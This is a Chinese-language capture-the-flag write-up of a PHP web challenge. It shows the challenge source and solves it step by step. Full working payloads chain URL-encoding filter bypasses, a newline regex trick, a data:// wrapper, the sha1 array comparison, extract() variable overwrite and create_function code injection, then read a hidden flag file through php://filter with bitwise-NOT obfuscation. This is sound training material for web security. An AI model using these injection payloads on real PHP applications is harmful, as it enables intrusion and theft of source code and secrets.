题目源码:
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!
";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?
";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?
有以下几个地方需要绕过。
关于第一处限制:
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
关于$_SERVER['QUERY_STRING']
,他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。
关于第二处限制:
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!
";
}
} else die('fxck you! What do you want to do ?!');
要求preg_match('/^aqua_is_cute$/', $_GET['debu'])
,即preg_match值匹配第一行,句尾加上换行符%0a就能绕过,绕过preg_match主要有两种方法即换行符与PRCE回溯此处超出。
payload:dedu=aqua_is_cute%0a
关于第三处限制:
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
要求传过来的参数的值(不包括键)不能是字母。
** $_REQUEST
方式接收请求是存在优先级别的,如果同时接受GET和POST的数据,默认情况下POST具有优先权,所以只需要在get的同时post数字即可。**
payload:POST:debu=1&file=1
关于第四处限制:
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");
这里利用data协议即可:file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
(此题由于你同时要post一个debu=1&file=1
,所以不能再用php://input了)
关于第四处限制:
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?
";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
这里利用数组[]
进行一下绕过就可以了,因为当sha1()的参数为数组,此时就会返回false。
payload:shana[]=1&passwd[]=2
但这里为了绕过第一个限制,需要url编码,即:%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
注意这里有个extract函数,extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。但此处突然出来一个extract函数还是挺突兀的,我们继续往下看。
关于第五处限制:(重点)
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
这里最后面的$code('', $arg);
好奇怪啊,这是个什么?原来这里利用到了create_function()代码注入。
create_function($args, $code)
函数有两个参数$args
和$code
,用于创建一个lambda样式的函数
例如:$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于:
function myfunc($a, $b){
return $a+$b;
}
与此同时当第二个参数$code
无限制时:
$code=return $a+$b;}eval($_POST['cmd']);//
就会变成:
function myfunc($a, $b){
return $a+$b;
}
eval($_POST['cmd']);//}
看到这道题,在上一阶段sha1比较的过程中,extract($_GET["flag"]);
这里我们可以进行变量覆盖,从而掌控住 $code('', $arg);
中的arg变量与code变量。
同时根据上面的介绍我们可以通过必和符号来执行自己定义的函数:
&flag[arg]=}a();//&flag[code]=create_function
拼接过后就应该是:function {}a();//}
这样子了。这个a我们是可以随时改成其他的函数的。
但是此时很多函数都被禁用了,文件中包含了flag.php这个文件,利用get_defined_vars()
将所有变量与值都进行输出,此时payload就为:flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function
,拼到 $code('', $arg);
中即:
create_function('',}var_dump(get_defined_vars());//)
等价于:
function{
}
var_dump(get_defined_vars());//}
注意对限制一中的敏感字符url编码,
完整payload:
/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
得到:
输出出来但没有输出flag,提示我们是在另一个文件里面,rea1fl4g.php,
此时我们可以利用require,来代替include,利用base64编码绕过对rea1fl4g.php中.
的过滤,利用require()将rea1fl4g.php文件包含进来,然后利用get_defined_vars()函数返回由所有已定义变量,从而得到flag。(也可以用~取反绕过)
payload:flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function
(cmVhMWZsNGcucGhw:rea1fl4g.php)注意对base64_decode进行url编码
完整payload:
1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}require(base64_de%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
flag竟然是个假的,tmd!!!
我们可以用php://filter直接把rea1fl4g.php的源码读出来:
即require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
,base64加密解密:
require(base64_de%63%6f%64%65(cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPXJlYTFmbDRnLnBocA==))
发现失败,
原来,在最后的限制中,对$code
中的source做了限制,我们虽然做了base64加密,但到了代码中base64_decode早就执行了,$code
已经被解密,变回了php://filter/read=convert.base64-encode/resource=rea1fl4g.php,自然绕不过限制,所以我们这里用~取反绕过,即:
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))